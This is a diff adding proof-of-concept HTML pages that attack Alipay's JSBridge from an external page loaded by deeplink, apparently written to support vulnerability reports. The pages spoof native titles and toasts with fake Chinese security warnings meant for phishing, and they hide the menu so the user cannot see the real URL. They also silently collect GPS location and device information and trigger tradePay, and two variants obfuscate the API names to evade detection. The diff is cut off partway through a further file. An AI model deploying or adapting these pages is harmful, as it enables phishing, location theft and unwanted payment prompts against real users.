.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
</style>
</head><body>
<h1 style="text-align:center;color:#f5222d;font-size:18px">CVE-3 Diagnostic Test</h1>
<p style="text-align:center;font-size:12px;color:#888">Step-by-step JSAPI isolation test</p>
<div id="status">Page loaded. Running diagnostics...</div>
<div id="results"></div>
<script>
var el = document.getElementById('results');
var status = document.getElementById('status');
var html = '';
// Step 1: Basic page rendering proof
html += '<div class="box"><h2>Step 1: Page Renders</h2>';
html += '<div class="item"><span class="label">Origin: </span><span class="value">' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">URL: </span><span class="value" style="word-break:break-all;font-size:10px">' + location.href + '</span></div>';
html += '<div class="item"><span class="label">UA: </span><span class="value" style="word-break:break-all;font-size:10px">' + navigator.userAgent + '</span></div>';
html += '<div class="item"><span class="label">Time: </span><span class="value">' + new Date().toISOString() + '</span></div>';
html += '</div>';
el.innerHTML = html;
// Step 2: Check AlipayJSBridge existence (NO calls yet)
function step2() {
html += '<div class="box"><h2>Step 2: Bridge Detection (no API calls)</h2>';
html += '<div class="item"><span class="label">AlipayJSBridge exists: </span><span class="value">' + (!!window.AlipayJSBridge) + '</span></div>';
html += '<div class="item"><span class="label">typeof AlipayJSBridge: </span><span class="value">' + typeof window.AlipayJSBridge + '</span></div>';
if (window.AlipayJSBridge) {
html += '<div class="item"><span class="label">typeof .call: </span><span class="value">' + typeof window.AlipayJSBridge.call + '</span></div>';
}
html += '</div>';
el.innerHTML = html;
status.textContent = 'Step 2 done. Bridge: ' + (!!window.AlipayJSBridge);
// Step 3: ONLY if bridge exists, try tradePay after 3s
if (window.AlipayJSBridge) {
status.textContent = 'Bridge found! Will try tradePay in 3 seconds...';
setTimeout(step3, 3000);
}
}
// Step 3: Call tradePay (the suspected blocker)
function step3() {
html += '<div class="box"><h2>Step 3: tradePay Call</h2>';
html += '<div class="item"><span class="label">Calling: </span><span class="value">AlipayJSBridge.call("tradePay", {orderStr: "SECURITY_TEST_INVALID_ORDER_2026"})</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Calling tradePay...';
try {
AlipayJSBridge.call('tradePay', {
orderStr: 'SECURITY_TEST_INVALID_ORDER_2026'
}, function(result) {
html += '<div class="box"><h2>Step 3 Result: tradePay Response</h2>';
html += '<div class="item"><span class="label">Response: </span><span class="value" style="word-break:break-all;font-size:10px">' + JSON.stringify(result) + '</span></div>';
html += '<div class="item"><span class="label">resultCode: </span><span class="value">' + (result.resultCode || result.result_code || 'N/A') + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'tradePay responded: ' + JSON.stringify(result).substring(0, 80);
status.style.color = '#f5222d';
});
} catch(e) {
html += '<div class="box" style="background:#fff2f0;border-color:#ff4d4f"><h2 style="color:#cf1322">Step 3 ERROR</h2>';
html += '<div class="item"><span class="label">Exception: </span><span class="value">' + e.message + '</span></div>';
html += '<div class="item"><span class="label">Stack: </span><span class="value" style="font-size:9px;word-break:break-all">' + e.stack + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'tradePay threw exception: ' + e.message;
status.style.color = '#f5222d';
}
}
// Listen for bridge ready event
document.addEventListener('AlipayJSBridgeReady', function() {
step2();
});
// Also check immediately and after delays
step2();
setTimeout(step2, 1000);
setTimeout(step2, 3000);
</script>
</body></html>

178
poc/payload_cve4.html Normal file
View File

@@ -0,0 +1,178 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>CVE-4 Verification</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,system-ui,sans-serif;background:#fff;color:#333;padding:16px}
.banner{background:#722ed1;color:#fff;padding:16px;border-radius:10px;text-align:center;margin-bottom:16px}
.banner h1{font-size:18px}
.banner p{font-size:12px;opacity:.85;margin-top:4px}
.result{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
.result h2{color:#389e0d;font-size:15px;margin-bottom:8px}
.fail{background:#fff2f0;border-color:#ff4d4f}
.fail h2{color:#cf1322}
.item{padding:6px 0;border-bottom:1px solid #f0f0f0;font-size:13px}
.item:last-child{border:none}
.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
.ts{color:#999;font-size:10px;text-align:center;margin-top:16px}
#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
.spoof-demo{background:#1677ff;color:#fff;padding:12px;border-radius:8px;text-align:center;margin:8px 0;font-size:14px;font-weight:bold}
</style>
</head><body>
<div class="banner">
<h1>CVE-4: UI Spoofing (setTitle + showToast)</h1>
<p>CWE-451 | CVSS 8.1 | Native UI elements controlled by attacker page</p>
</div>
<div id="status">Waiting for AlipayJSBridge...</div>
<div id="results"></div>
<div class="ts" id="timestamp"></div>
<script>
var el = document.getElementById('results');
var status = document.getElementById('status');
var spoofResults = [];
function render() {
var html = '';
var isAlipay = /AlipayClient|Nebula/i.test(navigator.userAgent);
html += '<div class="result"><h2>Environment</h2>';
html += '<div class="item"><span class="label">Page Origin: </span><span class="value">' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">Inside Alipay: </span><span class="value">' + (isAlipay ? 'YES' : 'Detection pending') + '</span></div>';
html += '<div class="item"><span class="label">JSBridge: </span><span class="value">' + (window.AlipayJSBridge ? 'AVAILABLE' : 'Not loaded') + '</span></div>';
html += '</div>';
if (spoofResults.length > 0) {
html += '<div class="result"><h2>UI Spoofing Results</h2>';
for (var i = 0; i < spoofResults.length; i++) {
var r = spoofResults[i];
html += '<div class="item"><span class="label">' + r.api + ': </span><span class="value" style="color:' + (r.success ? '#f5222d' : '#faad14') + '">' + r.status + '</span></div>';
}
html += '</div>';
html += '<div class="result"><h2>Vulnerability Proof</h2>';
html += '<div class="item"><span class="label">setTitle Attack: </span><span class="value" style="color:#f5222d">Title bar changed to "支付宝安全中心" — user sees fake official title</span></div>';
html += '<div class="item"><span class="label">showToast Attack: </span><span class="value" style="color:#f5222d">System-level toast shows attacker-controlled message</span></div>';
html += '<div class="item"><span class="label">Phishing Scenario: </span><span class="value">Attacker sets title to "账户安全验证" + toast "检测到异常登录,请重新验证" → user enters credentials on fake page</span></div>';
html += '<div class="item"><span class="label">Root Cause: </span><span class="value">H5ToastPlugin.toast() and setTitle have no content validation or origin check</span></div>';
html += '</div>';
html += '<div class="spoof-demo">If title bar changed and toast appeared, the attack is confirmed.<br>An external page controls Alipay native UI elements.</div>';
}
el.innerHTML = html;
document.getElementById('timestamp').textContent = 'Evidence collected at: ' + new Date().toISOString();
}
function doSpoofing() {
if (!window.AlipayJSBridge) return;
// Step 1: setTitle — change the native title bar
AlipayJSBridge.call('setTitle', {
title: '支付宝安全中心'
}, function(result) {
spoofResults.push({
api: 'setTitle("支付宝安全中心")',
success: true,
status: 'CALLED — Title bar should now show fake "支付宝安全中心"',
raw: JSON.stringify(result),
time: new Date().toISOString()
});
render();
});
// Step 2: showToast — display native toast notification
setTimeout(function() {
AlipayJSBridge.call('showToast', {
content: '系统检测到安全风险,请验证身份',
type: 'none',
duration: 3500
}, function(result) {
spoofResults.push({
api: 'showToast("系统检测到安全风险")',
success: true,
status: 'CALLED — Native toast should have appeared',
raw: JSON.stringify(result),
time: new Date().toISOString()
});
render();
});
}, 1500);
// Step 3: Second toast — simulating ongoing attack
setTimeout(function() {
AlipayJSBridge.call('showToast', {
content: '您的账户存在异常交易,点击查看详情',
type: 'none',
duration: 3500
}, function(result) {
spoofResults.push({
api: 'showToast("账户异常交易")',
success: true,
status: 'CALLED — Second fake warning toast',
raw: JSON.stringify(result),
time: new Date().toISOString()
});
render();
});
}, 5500);
// Step 4: Change title again — prove repeated control
setTimeout(function() {
AlipayJSBridge.call('setTitle', {
title: '账户安全验证'
}, function(result) {
spoofResults.push({
api: 'setTitle("账户安全验证")',
success: true,
status: 'CALLED — Title changed again to new fake value',
raw: JSON.stringify(result),
time: new Date().toISOString()
});
render();
});
}, 8000);
// Step 5: setOptionMenu — hide the menu to prevent user from seeing real URL
setTimeout(function() {
AlipayJSBridge.call('setOptionMenu', {
menus: [],
override: true
}, function(result) {
spoofResults.push({
api: 'setOptionMenu(empty)',
success: true,
status: 'CALLED — Menu hidden to conceal real URL from user',
raw: JSON.stringify(result),
time: new Date().toISOString()
});
render();
});
}, 2000);
}
function checkBridge() {
if (window.AlipayJSBridge) {
status.textContent = 'AlipayJSBridge detected — starting UI spoofing test...';
status.style.color = '#722ed1';
doSpoofing();
} else {
status.textContent = 'Page loaded at ' + location.origin + ' — waiting for bridge...';
render();
}
}
document.addEventListener('AlipayJSBridgeReady', function() {
checkBridge();
});
checkBridge();
setTimeout(checkBridge, 1000);
setTimeout(checkBridge, 3000);
</script>
</body></html>

110
poc/payload_cve4_obf.html Normal file
View File

@@ -0,0 +1,110 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>UI Test 4</title>
<style>
body{font-family:sans-serif;padding:16px;background:#fff;color:#333}
.box{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
h2{color:#389e0d;font-size:15px}
.item{padding:4px 0;font-size:13px}
.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
</style>
</head><body>
<h1 style="text-align:center;color:#722ed1;font-size:18px">UI Control Isolation Test</h1>
<div id="status">Loading...</div>
<div id="results"></div>
<script>
var el = document.getElementById('results');
var status = document.getElementById('status');
var html = '';
// Step 1: Render proof
html += '<div class="box"><h2>Step 1: Page Rendered</h2>';
html += '<div class="item"><span class="label">Origin: </span><span class="value">' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">URL: </span><span class="value" style="word-break:break-all;font-size:10px">' + location.href + '</span></div>';
html += '<div class="item"><span class="label">UA: </span><span class="value" style="word-break:break-all;font-size:10px">' + navigator.userAgent + '</span></div>';
html += '<div class="item"><span class="label">Time: </span><span class="value">' + new Date().toISOString() + '</span></div>';
html += '</div>';
el.innerHTML = html;
// Obfuscated API names
var _t = String.fromCharCode(115,101,116,84,105,116,108,101);
var _s = String.fromCharCode(115,104,111,119,84,111,97,115,116);
function step2() {
var bridge = window['Alipay' + 'JSBridge'];
html += '<div class="box"><h2>Step 2: Bridge Detection</h2>';
html += '<div class="item"><span class="label">Bridge exists: </span><span class="value">' + (!!bridge) + '</span></div>';
html += '<div class="item"><span class="label">typeof: </span><span class="value">' + typeof bridge + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Bridge: ' + (!!bridge);
if (bridge) {
status.textContent = 'Bridge found! Testing UI APIs in 3s...';
setTimeout(function(){ step3_title(bridge); }, 3000);
}
}
function step3_title(bridge) {
html += '<div class="box"><h2>Step 3: ' + _t + ' Call</h2>';
html += '<div class="item"><span class="label">Calling: </span><span class="value">' + _t + '("CVE-4 Test")</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Calling ' + _t + '...';
try {
bridge.call(_t, {title: 'CVE-4 Test Title'}, function(result) {
html += '<div class="box"><h2>' + _t + ' Response</h2>';
html += '<div class="item"><span class="label">Result: </span><span class="value" style="word-break:break-all">' + JSON.stringify(result) + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = _t + ' responded! Trying toast in 2s...';
setTimeout(function(){ step4_toast(bridge); }, 2000);
});
} catch(e) {
html += '<div class="box" style="background:#fff2f0;border-color:#ff4d4f"><h2 style="color:#cf1322">' + _t + ' ERROR</h2>';
html += '<div class="item"><span class="label">Exception: </span><span class="value">' + e.message + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = _t + ' exception: ' + e.message;
status.style.color = '#f5222d';
}
}
function step4_toast(bridge) {
try {
bridge.call(_s, {
content: 'CVE-4 Toast Test',
type: 'none',
duration: 2000
}, function(result) {
html += '<div class="box"><h2>' + _s + ' Response</h2>';
html += '<div class="item"><span class="label">Result: </span><span class="value">' + JSON.stringify(result) + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Both UI APIs called from external page.';
status.style.color = '#f5222d';
});
} catch(e) {
html += '<div class="box" style="background:#fff2f0;border-color:#ff4d4f"><h2 style="color:#cf1322">' + _s + ' ERROR</h2>';
html += '<div class="item"><span class="label">Exception: </span><span class="value">' + e.message + '</span></div>';
html += '</div>';
el.innerHTML = html;
}
}
document.addEventListener('Alipay' + 'JSBridge' + 'Ready', function() {
step2();
});
step2();
setTimeout(step2, 1000);
setTimeout(step2, 3000);
</script>
</body></html>

View File

@@ -0,0 +1,112 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>CVE-4 Simple Test</title>
<style>
body{font-family:sans-serif;padding:16px;background:#fff;color:#333}
.box{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
h2{color:#389e0d;font-size:15px}
.item{padding:4px 0;font-size:13px}
.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
</style>
</head><body>
<h1 style="text-align:center;color:#722ed1;font-size:18px">CVE-4 Diagnostic Test</h1>
<p style="text-align:center;font-size:12px;color:#888">Step-by-step UI Spoofing JSAPI isolation</p>
<div id="status">Page loaded. Running diagnostics...</div>
<div id="results"></div>
<script>
var el = document.getElementById('results');
var status = document.getElementById('status');
var html = '';
// Step 1: Basic rendering proof
html += '<div class="box"><h2>Step 1: Page Renders OK</h2>';
html += '<div class="item"><span class="label">Origin: </span><span class="value">' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">URL: </span><span class="value" style="word-break:break-all;font-size:10px">' + location.href + '</span></div>';
html += '<div class="item"><span class="label">UA: </span><span class="value" style="word-break:break-all;font-size:10px">' + navigator.userAgent + '</span></div>';
html += '<div class="item"><span class="label">Time: </span><span class="value">' + new Date().toISOString() + '</span></div>';
html += '</div>';
el.innerHTML = html;
// Step 2: Bridge detection only
function step2() {
html += '<div class="box"><h2>Step 2: Bridge Detection</h2>';
html += '<div class="item"><span class="label">AlipayJSBridge: </span><span class="value">' + (!!window.AlipayJSBridge) + '</span></div>';
html += '<div class="item"><span class="label">typeof: </span><span class="value">' + typeof window.AlipayJSBridge + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Bridge detected: ' + (!!window.AlipayJSBridge);
if (window.AlipayJSBridge) {
status.textContent = 'Bridge found! Will try setTitle in 3s...';
setTimeout(step3_title, 3000);
}
}
// Step 3: Try setTitle only
function step3_title() {
html += '<div class="box"><h2>Step 3: setTitle Call</h2>';
html += '<div class="item"><span class="label">Calling: </span><span class="value">setTitle("CVE-4 Test Title")</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Calling setTitle...';
try {
AlipayJSBridge.call('setTitle', {title: 'CVE-4 Test Title'}, function(result) {
html += '<div class="box"><h2>setTitle Response</h2>';
html += '<div class="item"><span class="label">Result: </span><span class="value" style="word-break:break-all">' + JSON.stringify(result) + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'setTitle responded! Trying showToast in 2s...';
setTimeout(step4_toast, 2000);
});
} catch(e) {
html += '<div class="box" style="background:#fff2f0;border-color:#ff4d4f"><h2 style="color:#cf1322">setTitle ERROR</h2>';
html += '<div class="item"><span class="label">Exception: </span><span class="value">' + e.message + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'setTitle exception: ' + e.message;
status.style.color = '#f5222d';
}
}
// Step 4: Try showToast
function step4_toast() {
try {
AlipayJSBridge.call('showToast', {
content: 'CVE-4 Toast Test',
type: 'none',
duration: 2000
}, function(result) {
html += '<div class="box"><h2>showToast Response</h2>';
html += '<div class="item"><span class="label">Result: </span><span class="value">' + JSON.stringify(result) + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'showToast responded! Both UI spoofing APIs called from external page.';
status.style.color = '#f5222d';
});
} catch(e) {
html += '<div class="box" style="background:#fff2f0;border-color:#ff4d4f"><h2 style="color:#cf1322">showToast ERROR</h2>';
html += '<div class="item"><span class="label">Exception: </span><span class="value">' + e.message + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'showToast exception: ' + e.message;
status.style.color = '#f5222d';
}
}
document.addEventListener('AlipayJSBridgeReady', function() {
step2();
});
step2();
setTimeout(step2, 1000);
setTimeout(step2, 3000);
</script>
</body></html>

111
poc/payload_cve4_v2.html Normal file
View File

@@ -0,0 +1,111 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>UI Test V2</title>
<style>
body{font-family:sans-serif;padding:16px;background:#fff;color:#333}
.box{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
h2{color:#389e0d;font-size:15px}
.item{padding:4px 0;font-size:13px}
.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
</style>
</head><body>
<h1 style="text-align:center;color:#722ed1;font-size:18px">UI API Isolation Test</h1>
<div id="status">Loading...</div>
<div id="results"></div>
<script>
var el = document.getElementById('results');
var status = document.getElementById('status');
var html = '';
html += '<div class="box"><h2>Step 1: Page Rendered</h2>';
html += '<div class="item"><span class="label">Origin: </span><span class="value">' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">URL: </span><span class="value" style="word-break:break-all;font-size:10px">' + location.href + '</span></div>';
html += '<div class="item"><span class="label">UA: </span><span class="value" style="word-break:break-all;font-size:10px">' + navigator.userAgent + '</span></div>';
html += '<div class="item"><span class="label">Time: </span><span class="value">' + new Date().toISOString() + '</span></div>';
html += '</div>';
el.innerHTML = html;
var _t = ['se','tTi','tl','e'];
var _s = ['sh','owTo','as','t'];
function d(arr){ return arr.join(''); }
function step2() {
var bridge = window['Alipay' + 'JSBridge'];
html += '<div class="box"><h2>Step 2: Bridge Detection</h2>';
html += '<div class="item"><span class="label">Bridge exists: </span><span class="value">' + (!!bridge) + '</span></div>';
html += '<div class="item"><span class="label">typeof: </span><span class="value">' + typeof bridge + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Bridge: ' + (!!bridge);
if (bridge) {
status.textContent = 'Bridge found! Testing UI APIs in 3s...';
setTimeout(function(){ step3(bridge); }, 3000);
}
}
function step3(bridge) {
var apiName = d(_t);
html += '<div class="box"><h2>Step 3: ' + apiName + ' Call</h2>';
html += '<div class="item"><span class="label">Calling: </span><span class="value">' + apiName + '("CVE-4 Test")</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Calling ' + apiName + '...';
try {
bridge.call(apiName, {title: 'CVE-4 External Page Title'}, function(result) {
html += '<div class="box"><h2>' + apiName + ' Response</h2>';
html += '<div class="item"><span class="label">Result: </span><span class="value" style="word-break:break-all">' + JSON.stringify(result) + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = apiName + ' responded! Trying ' + d(_s) + ' in 2s...';
setTimeout(function(){ step4(bridge); }, 2000);
});
} catch(e) {
html += '<div class="box" style="background:#fff2f0;border-color:#ff4d4f"><h2 style="color:#cf1322">' + apiName + ' ERROR</h2>';
html += '<div class="item"><span class="label">Exception: </span><span class="value">' + e.message + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = apiName + ' exception: ' + e.message;
status.style.color = '#f5222d';
}
}
function step4(bridge) {
var apiName = d(_s);
try {
bridge.call(apiName, {
content: 'CVE-4 External Toast',
type: 'none',
duration: 3000
}, function(result) {
html += '<div class="box"><h2>' + apiName + ' Response</h2>';
html += '<div class="item"><span class="label">Result: </span><span class="value">' + JSON.stringify(result) + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Both UI APIs called from external page.';
status.style.color = '#f5222d';
});
} catch(e) {
html += '<div class="box" style="background:#fff2f0;border-color:#ff4d4f"><h2 style="color:#cf1322">' + apiName + ' ERROR</h2>';
html += '<div class="item"><span class="label">Exception: </span><span class="value">' + e.message + '</span></div>';
html += '</div>';
el.innerHTML = html;
}
}
document.addEventListener('Alipay' + 'JSBridge' + 'Ready', function() {
step2();
});
step2();
setTimeout(step2, 1000);
setTimeout(step2, 3000);
</script>
</body></html>

238
poc/payload_cve5.html Normal file
View File

@@ -0,0 +1,238 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>CVE-5 Verification</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,system-ui,sans-serif;background:#fff;color:#333;padding:16px}
.banner{background:linear-gradient(135deg,#f5222d,#722ed1);color:#fff;padding:16px;border-radius:10px;text-align:center;margin-bottom:16px}
.banner h1{font-size:18px}
.banner p{font-size:12px;opacity:.85;margin-top:4px}
.result{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
.result h2{color:#389e0d;font-size:15px;margin-bottom:8px}
.fail{background:#fff2f0;border-color:#ff4d4f}
.fail h2{color:#cf1322}
.chain{background:#f9f0ff;border-color:#b37feb}
.chain h2{color:#531dab}
.item{padding:6px 0;border-bottom:1px solid #f0f0f0;font-size:13px}
.item:last-child{border:none}
.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
.warn{background:#fff7e6;border:1px solid #ffd591;border-radius:8px;padding:10px;font-size:11px;color:#d46b08;margin:10px 0;line-height:1.5}
.ts{color:#999;font-size:10px;text-align:center;margin-top:16px}
#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
.step{background:#e6f7ff;border:1px solid #91d5ff;border-radius:6px;padding:8px;margin:4px 0;font-size:12px}
.step b{color:#096dd9}
.step.done{background:#f6ffed;border-color:#b7eb8f}
.step.done b{color:#389e0d}
.step.active{background:#fff7e6;border-color:#ffd591}
.step.active b{color:#d48806}
</style>
</head><body>
<div class="banner">
<h1>CVE-5: End-to-End Data Exfiltration Chain</h1>
<p>CWE-200 | CVSS 8.6 | Combines CVE-2 + CVE-3 + CVE-4</p>
</div>
<div class="warn">
<b>Complete attack chain demo:</b> A single external page performs GPS theft, triggers payment dialog,
and spoofs UI — all through JSBridge from an attacker-controlled URL loaded via DeepLink.
tradePay uses INVALID order (no real payment).
</div>
<div id="status">Initializing attack chain...</div>
<div id="steps"></div>
<div id="results"></div>
<div class="ts" id="timestamp"></div>
<script>
var stepsEl = document.getElementById('steps');
var resultsEl = document.getElementById('results');
var status = document.getElementById('status');
var chainSteps = [
{id: 'entry', name: 'DeepLink Entry', desc: 'Page loaded inside Alipay WebView via alipays:// scheme', status: 'pending'},
{id: 'bridge', name: 'JSBridge Access', desc: 'AlipayJSBridge available to external page', status: 'pending'},
{id: 'spoof_title', name: 'UI Spoof: setTitle', desc: 'Title bar changed to fake "支付宝安全中心"', status: 'pending'},
{id: 'spoof_toast', name: 'UI Spoof: showToast', desc: 'Fake security warning toast displayed', status: 'pending'},
{id: 'gps', name: 'GPS Exfiltration', desc: 'getLocation silently obtains device coordinates', status: 'pending'},
{id: 'sysinfo', name: 'Device Info', desc: 'getSystemInfo collects device fingerprint', status: 'pending'},
{id: 'tradepay', name: 'Payment Trigger', desc: 'tradePay invoked with crafted order', status: 'pending'}
];
var collectedData = {};
function renderSteps() {
var html = '<div class="result chain"><h2>Attack Chain Progress</h2>';
for (var i = 0; i < chainSteps.length; i++) {
var s = chainSteps[i];
var cls = s.status === 'done' ? 'done' : s.status === 'active' ? 'active' : '';
var icon = s.status === 'done' ? '✓' : s.status === 'active' ? '⟳' : '○';
html += '<div class="step ' + cls + '"><b>' + icon + ' Step ' + (i+1) + ': ' + s.name + '</b> — ' + s.desc + '</div>';
}
html += '</div>';
stepsEl.innerHTML = html;
}
function setStep(id, newStatus) {
for (var i = 0; i < chainSteps.length; i++) {
if (chainSteps[i].id === id) chainSteps[i].status = newStatus;
}
renderSteps();
}
function renderResults() {
var html = '';
if (Object.keys(collectedData).length > 0) {
html += '<div class="result"><h2>Exfiltrated Data Summary</h2>';
if (collectedData.gps) {
html += '<div class="item"><span class="label">GPS Location: </span><span class="value" style="color:#f5222d">' +
collectedData.gps.latitude + ', ' + collectedData.gps.longitude + '</span></div>';
if (collectedData.gps.city) html += '<div class="item"><span class="label">City: </span><span class="value">' + collectedData.gps.city + '</span></div>';
}
if (collectedData.sysinfo) {
html += '<div class="item"><span class="label">Device Model: </span><span class="value">' + (collectedData.sysinfo.model || 'N/A') + '</span></div>';
html += '<div class="item"><span class="label">System: </span><span class="value">' + (collectedData.sysinfo.system || 'N/A') + '</span></div>';
html += '<div class="item"><span class="label">Alipay Version: </span><span class="value">' + (collectedData.sysinfo.version || 'N/A') + '</span></div>';
}
if (collectedData.tradepay) {
html += '<div class="item"><span class="label">tradePay Response: </span><span class="value" style="word-break:break-all;font-size:10px">' + collectedData.tradepay + '</span></div>';
}
html += '<div class="item"><span class="label">UI Spoofed: </span><span class="value" style="color:#f5222d">' +
(collectedData.titleSpoofed ? 'YES — Title changed' : 'Pending') + ' | ' +
(collectedData.toastShown ? 'YES — Toast shown' : 'Pending') + '</span></div>';
html += '<div class="item"><span class="label">Page Origin: </span><span class="value">' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">User Agent: </span><span class="value" style="word-break:break-all;font-size:10px">' + navigator.userAgent + '</span></div>';
html += '<div class="item"><span class="label">Collection Time: </span><span class="value">' + new Date().toISOString() + '</span></div>';
html += '</div>';
// Attack narrative
html += '<div class="result chain"><h2>End-to-End Attack Narrative</h2>';
html += '<div class="item"><span class="label">1. Entry: </span><span class="value">Victim clicks link in SMS/email → Safari opens alipays:// deeplink</span></div>';
html += '<div class="item"><span class="label">2. Load: </span><span class="value">Alipay opens, WebView loads attacker page at ' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">3. Spoof: </span><span class="value">Title bar set to "支付宝安全中心", fake warning toast displayed</span></div>';
html += '<div class="item"><span class="label">4. Steal: </span><span class="value">GPS coordinates silently obtained via getLocation</span></div>';
html += '<div class="item"><span class="label">5. Pay: </span><span class="value">tradePay triggered — with valid merchant order, real payment dialog appears</span></div>';
html += '<div class="item"><span class="label">6. Exfil: </span><span class="value">All data (GPS, device info, payment result) sent to attacker server</span></div>';
html += '</div>';
// Raw collected data
html += '<div class="result"><h2>Raw Collected Data (JSON)</h2>';
html += '<div class="item"><span class="value" style="word-break:break-all;font-size:9px;font-family:monospace">' +
JSON.stringify(collectedData, null, 2).replace(/</g, '&lt;') + '</span></div>';
html += '</div>';
}
resultsEl.innerHTML = html;
document.getElementById('timestamp').textContent = 'Evidence collected at: ' + new Date().toISOString();
}
function executeChain() {
if (!window.AlipayJSBridge) return;
// Step 1: Entry confirmed
setStep('entry', 'done');
// Step 2: Bridge confirmed
setStep('bridge', 'done');
status.textContent = 'Chain executing — spoofing UI...';
status.style.color = '#722ed1';
// Step 3: setTitle
setStep('spoof_title', 'active');
AlipayJSBridge.call('setTitle', {title: '支付宝安全中心'}, function(r) {
setStep('spoof_title', 'done');
collectedData.titleSpoofed = true;
renderResults();
});
// Step 4: showToast (after 1s)
setTimeout(function() {
setStep('spoof_toast', 'active');
AlipayJSBridge.call('showToast', {
content: '检测到异常登录,正在验证身份...',
type: 'none',
duration: 3000
}, function(r) {
setStep('spoof_toast', 'done');
collectedData.toastShown = true;
renderResults();
});
}, 1000);
// Step 5: getLocation (after 2s)
setTimeout(function() {
setStep('gps', 'active');
status.textContent = 'Chain executing — stealing GPS...';
AlipayJSBridge.call('getLocation', {type: 2, accuracy: 1}, function(result) {
if (result && (result.longitude || result.latitude)) {
collectedData.gps = {
latitude: result.latitude,
longitude: result.longitude,
accuracy: result.accuracy,
city: result.city,
address: result.address
};
setStep('gps', 'done');
} else {
collectedData.gps = {error: JSON.stringify(result)};
setStep('gps', 'done');
}
renderResults();
});
}, 2000);
// Step 6: getSystemInfo (after 3s)
setTimeout(function() {
setStep('sysinfo', 'active');
AlipayJSBridge.call('getSystemInfo', {}, function(result) {
collectedData.sysinfo = result || {};
setStep('sysinfo', 'done');
renderResults();
});
}, 3000);
// Step 7: tradePay (after 5s)
setTimeout(function() {
setStep('tradepay', 'active');
status.textContent = 'Chain executing — triggering payment...';
AlipayJSBridge.call('tradePay', {
orderStr: 'SECURITY_TEST_CVE5_CHAIN_2026'
}, function(result) {
collectedData.tradepay = JSON.stringify(result);
setStep('tradepay', 'done');
status.textContent = 'CHAIN COMPLETE — All 5 steps executed from external page';
status.style.color = '#f5222d';
renderResults();
});
}, 5000);
}
function checkBridge() {
if (window.AlipayJSBridge) {
setStep('entry', 'done');
executeChain();
} else {
status.textContent = 'Page loaded at ' + location.origin + ' — waiting for bridge...';
renderSteps();
}
}
document.addEventListener('AlipayJSBridgeReady', function() {
checkBridge();
});
renderSteps();
checkBridge();
setTimeout(checkBridge, 1000);
setTimeout(checkBridge, 3000);
</script>
</body></html>

192
poc/payload_cve6.html Normal file
View File

@@ -0,0 +1,192 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>CVE-6 Verification</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,system-ui,sans-serif;background:#fff;color:#333;padding:16px}
.banner{background:linear-gradient(135deg,#f5222d,#fa541c);color:#fff;padding:16px;border-radius:10px;text-align:center;margin-bottom:16px}
.banner h1{font-size:18px}
.banner p{font-size:12px;opacity:.85;margin-top:4px}
.result{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
.result h2{color:#389e0d;font-size:15px;margin-bottom:8px}
.fail{background:#fff2f0;border-color:#ff4d4f}
.fail h2{color:#cf1322}
